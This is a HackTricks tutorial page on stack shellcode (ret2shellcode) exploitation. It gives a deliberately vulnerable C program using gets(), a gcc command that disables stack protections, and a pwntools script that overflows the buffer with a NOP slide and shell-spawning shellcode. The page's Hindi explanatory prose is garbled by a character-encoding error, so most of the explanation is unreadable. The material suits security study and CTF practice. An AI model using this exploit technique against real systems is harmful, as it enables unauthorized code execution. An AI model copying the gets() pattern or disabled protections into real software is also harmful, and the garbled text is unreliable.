# Stack Shellcode
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Basic Information
**Stack shellcode** рдПрдХ рддрдХрдиреАрдХ рд╣реИ рдЬреЛ **binary exploitation** рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИ рдЬрд╣рд╛рдБ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдХрдордЬреЛрд░ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рд╕реНрдЯреИрдХ рдкрд░ рд╢реЗрд▓рдХреЛрдб рд▓рд┐рдЦрддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ **Instruction Pointer (IP)** рдпрд╛ **Extended Instruction Pointer (EIP)** рдХреЛ рдЗрд╕ рд╢реЗрд▓рдХреЛрдб рдХреЗ рд╕реНрдерд╛рди рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдПрдХ рдХреНрд▓рд╛рд╕рд┐рдХ рд╡рд┐рдзрд┐ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдпрд╛ рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдкрд░ рдордирдорд╛рдиреЗ рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣рд╛рдБ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдПрдХ рд╡рд┐рд╡рд░рдг рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ рд╕рд░рд▓ C рдЙрджрд╛рд╣рд░рдг рдФрд░ рдпрд╣ рдХреИрд╕реЗ рдЖрдк **pwntools** рдХреЗ рд╕рд╛рде рдПрдХ рд╕рдВрдмрдВрдзрд┐рдд рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВред
### C Example: A Vulnerable Program
рдЪрд▓реЛ рдПрдХ рдХрдордЬреЛрд░ C рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рд╕рд░рд▓ рдЙрджрд╛рд╣рд░рдг рд╕реЗ рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ:
```c
#include
#include
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
рдпрд╣ рдкреНрд░реЛрдЧреНрд░рд╛рдо `gets()` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдХрд╛рд░рдг рдмрдлрд╝рд░ рдУрд╡рд░рдлрд╝реНрд▓реЛ рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИред
### рд╕рдВрдХрд▓рди
рдЗрд╕ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрдмрдХрд┐ рд╡рд┐рднрд┐рдиреНрди рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╡рд╛рддрд╛рд╡рд░рдг рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП), рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-fno-stack-protector`: рд╕реНрдЯреИрдХ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИред
* `-z execstack`: рд╕реНрдЯреИрдХ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдмрдирд╛рддрд╛ рд╣реИ, рдЬреЛ рд╕реНрдЯреИрдХ рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рд╢реЗрд▓рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред
* `-no-pie`: рдкреЛрдЬреАрд╢рди рдЗрдВрдбрд┐рдкреЗрдВрдбреЗрдВрдЯ рдПрдХреНрд╕реАрдХреНрдпреВрдЯреЗрдмрд▓ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдирд╛ рдЖрд╕рд╛рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рд╣рдорд╛рд░рд╛ рд╢реЗрд▓рдХреЛрдб рдХрд╣рд╛рдБ рд╕реНрдерд┐рдд рд╣реЛрдЧрд╛ред
* `-m32`: рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ 32-рдмрд┐рдЯ рдПрдХреНрд╕реАрдХреНрдпреВрдЯреЗрдмрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрдХрд▓рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЕрдХреНрд╕рд░ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╡рд┐рдХрд╛рд╕ рдореЗрдВ рд╕рд░рд▓рддрд╛ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
### Python Exploit using Pwntools
рдпрд╣рд╛рдБ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЖрдк **pwntools** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **ret2shellcode** рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП Python рдореЗрдВ рдПрдХ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреИрд╕реЗ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ:
```python
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
```
рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдПрдХ рдкреЗрд▓реЛрдб рдмрдирд╛рддреА рд╣реИ рдЬрд┐рд╕рдореЗрдВ **NOP рд╕реНрд▓рд╛рдЗрдб**, **рд╢реЗрд▓рдХреЛрдб** рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ **EIP** рдХреЛ NOP рд╕реНрд▓рд╛рдЗрдб рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкрддреЗ рд╕реЗ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рддреА рд╣реИ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рд╢реЗрд▓рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛ рдЬрд╛рдПред
**NOP рд╕реНрд▓рд╛рдЗрдб** (`asm('nop')`) рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдирд┐рд╖реНрдкрд╛рджрди рд╣рдорд╛рд░реЗ рд╢реЗрд▓рдХреЛрдб рдореЗрдВ "рд╕реНрд▓рд╛рдЗрдб" рдХрд░реЗрдЧрд╛ рдЪрд╛рд╣реЗ рд╕рдЯреАрдХ рдкрддрд╛ рдХреБрдЫ рднреА рд╣реЛред рдЕрдкрдиреЗ рдмрдлрд░ рдХреЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдкрддреЗ рдХреЗ рд▓рд┐рдП `p32()` рддрд░реНрдХ рдХреЛ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░реЗрдВ рдФрд░ NOP рд╕реНрд▓рд╛рдЗрдб рдореЗрдВ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдСрдлрд╕реЗрдЯ рдЬреЛрдбрд╝реЗрдВред
## рд╕реБрд░рдХреНрд╖рд╛
* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **рдХреЛ рдмрдВрдж рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП** рддрд╛рдХрд┐ рдкрддрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рджреМрд░рд╛рди рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣реЛ рдпрд╛ рдЬрд┐рд╕ рдкрддреЗ рдкрд░ рдлрд╝рдВрдХреНрд╢рди рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрдЧрд╛ рд╡рд╣ рд╣рдореЗрд╢рд╛ рдПрдХ рдЬреИрд╕рд╛ рдирд╣реАрдВ рд╣реЛрдЧрд╛ рдФрд░ рдЖрдкрдХреЛ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рд▓реАрдХ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдХрд┐ рдЬреАрдд рдлрд╝рдВрдХреНрд╢рди рдХрд╣рд╛рдБ рд▓реЛрдб рд╣реБрдЖ рд╣реИред
* [**рд╕реНрдЯреИрдХ рдХреИрдирд░реАрдЬрд╝**](../../common-binary-protections-and-bypasses/stack-canaries/) рдХреЛ рднреА рдмрдВрдж рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ EIP рд░рд┐рдЯрд░реНрди рдкрддрд╛ рдХрднреА рдирд╣реАрдВ рдлреЙрд▓реЛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **рд╕реНрдЯреИрдХ** рд╕реБрд░рдХреНрд╖рд╛ рд╢реЗрд▓рдХреЛрдб рдХреЗ рд╕реНрдЯреИрдХ рдХреЗ рдЕрдВрджрд░ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд░реЛрдХ рджреЗрдЧреА рдХреНрдпреЛрдВрдХрд┐ рд╡рд╣ рдХреНрд╖реЗрддреНрд░ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдирд╣реАрдВ рд╣реЛрдЧрд╛ред
## рдЕрдиреНрдп рдЙрджрд╛рд╣рд░рдг рдФрд░ рд╕рдВрджрд░реНрдн
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
* 64рдмрд┐рдЯ, ASLR рдХреЗ рд╕рд╛рде рд╕реНрдЯреИрдХ рдкрддрд╛ рд▓реАрдХ, рд╢реЗрд▓рдХреЛрдб рд▓рд┐рдЦреЗрдВ рдФрд░ рдЙрд╕ рдкрд░ рдХреВрджреЗрдВ
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
* 32 рдмрд┐рдЯ, ASLR рдХреЗ рд╕рд╛рде рд╕реНрдЯреИрдХ рд▓реАрдХ, рд╢реЗрд▓рдХреЛрдб рд▓рд┐рдЦреЗрдВ рдФрд░ рдЙрд╕ рдкрд░ рдХреВрджреЗрдВ
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32 рдмрд┐рдЯ, ASLR рдХреЗ рд╕рд╛рде рд╕реНрдЯреИрдХ рд▓реАрдХ, exit() рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рддреБрд▓рдирд╛, рдПрдХ рдорд╛рди рдХреЗ рд╕рд╛рде рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ рдФрд░ рд╢реЗрд▓рдХреЛрдб рд▓рд┐рдЦреЗрдВ рдФрд░ рдЙрд╕ рдкрд░ рдХреВрджреЗрдВ
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, рдХреЛрдИ ASLR рдирд╣реАрдВ, рд╕реНрдЯреИрдХ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП ROP рдЧреИрдЬреЗрдЯ рдФрд░ рд╕реНрдЯреИрдХ рдореЗрдВ рд╢реЗрд▓рдХреЛрдб рдкрд░ рдХреВрджреЗрдВ
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}